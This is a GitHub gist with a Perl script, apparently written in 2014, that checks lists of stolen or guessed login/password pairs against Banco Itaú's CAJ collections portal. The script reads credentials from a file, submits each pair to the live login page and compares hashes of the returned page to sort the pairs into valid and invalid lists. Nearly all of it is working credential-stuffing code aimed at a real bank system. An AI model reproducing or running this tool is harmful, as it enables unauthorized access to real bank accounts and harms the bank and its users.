Skip to content

Instantly share code, notes, and snippets.

@danilovazb
Created February 10, 2014 20:00
Show Gist options
  • Save danilovazb/8923064 to your computer and use it in GitHub Desktop.
Save danilovazb/8923064 to your computer and use it in GitHub Desktop.
Verifica se logins são válidos no CAJ(Sistema de Processos de Apoio de Cobrança do Banco Itaú)
#!/usr/bin/perl
use Term::ANSIColor;
use MIME::Base64;
use WWW::Mechanize;
use LWP;
# BANNERSINHO
print color 'bold blue';
print <<banner;
c0d3r: Danilo (:
.____ .__ _________ __
| | ____ ____ |__| ____ \\_ ___ \\_____ |__|
| | / _ \\ / ___\\| |/ \\ / \\ \\/\\__ \\ | |
| |__( <_> ) /_/ > | | \\ \\ \\____/ __ \\_ | |
|_______ \\____/\\___ /|__|___| / \\______ (____ /\\__| |
\\/ /_____/ \\/ \\/ \\/\\______|
//Validador de Logins CAJ
banner
print color 'reset';
########################################################################
# Abre logins separados por ";" e faz a separação entre login e senha
########################################################################
open(arq,'logins.txt') or die('Falha ao abrir ARQUIVO!');
while (<arq>)
{
chomp;
($login, $senha) = split(";"); #Faz o split no arquivo de logins por ";"
$user="teste"; #Usuário Teste
$pass="teste"; #Senha Teste
########################################################################
#Propriedades da consulta, onde acessa o sistema e faz logins
########################################################################
my $consulta = WWW::Mechanize->new();
$consulta -> cookie_jar(HTTP::Cookies->new()); #Guarda cookies
$consulta -> post('https://ww59.itau.com.br/portalcaj/acesso.jsp'); # Pagina de login
$consulta -> field ('eBusinessId' => $login); #Nome do campo de login no source da pagina
$consulta -> field ('senha' => $senha); #Nome do campo de senha no source da pagina
$consulta -> click (''); #Não foi encontrado o nome para o botão de click, logo foi deixado em branco para simular o botão
$consulta -> save_content("pagina.html"); #Salva o conteúdo da pagina em um .html
########################################################################
#Cria a hash e valida ela com a pagina de login para ver se é valido ou não
########################################################################
$hash <- system("md5sum pagina.html"); #Gera um hash da pagina após o login
system ("md5sum pagina.html > hash.txt"); #Grava o hash da pagina em uma arquivo TXT
my $file_name = q/hash.txt/;
open my $handle, '<', $file_name or die qq/Error : $!/; #Abre o arquivo txt contendo as hash
while( defined ( my $line = <$handle> ) ) { #Lê linha a linha do arquivo
if($line =~ /f3611bdb311be17274a7281e644a9f00/) #Pega a hash da pagina de login inválido e compara com as paginas seguintes de logins
{
my $arquivo = 'inválidos.txt'; #Cria um arquivo txt para logins inválidos
open(my $fh, '>>', $arquivo) or die "Não foi possível abrir o arquivo '$arquivo' $!";
print color 'bold red';
print "Usuário: $login\nStatus: Inválido\n\n";
print $fh "$login,$senha\n";
print color 'reset';
close $fh;
} else {
my $arquivo = 'válidos.txt'; #Cria um arquivo txt para logins válidos
open(my $fh, '>>', $arquivo) or die "Não foi possível abrir o arquivo '$arquivo' $!";
print color 'bold green';
print "Usuário: $login\nStatus: Válido\n\n";
print $fh "$login,$senha\n";
print color 'reset';
close $fh;
}
system("rm -rf pagina.html");
}
}
close(arq);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment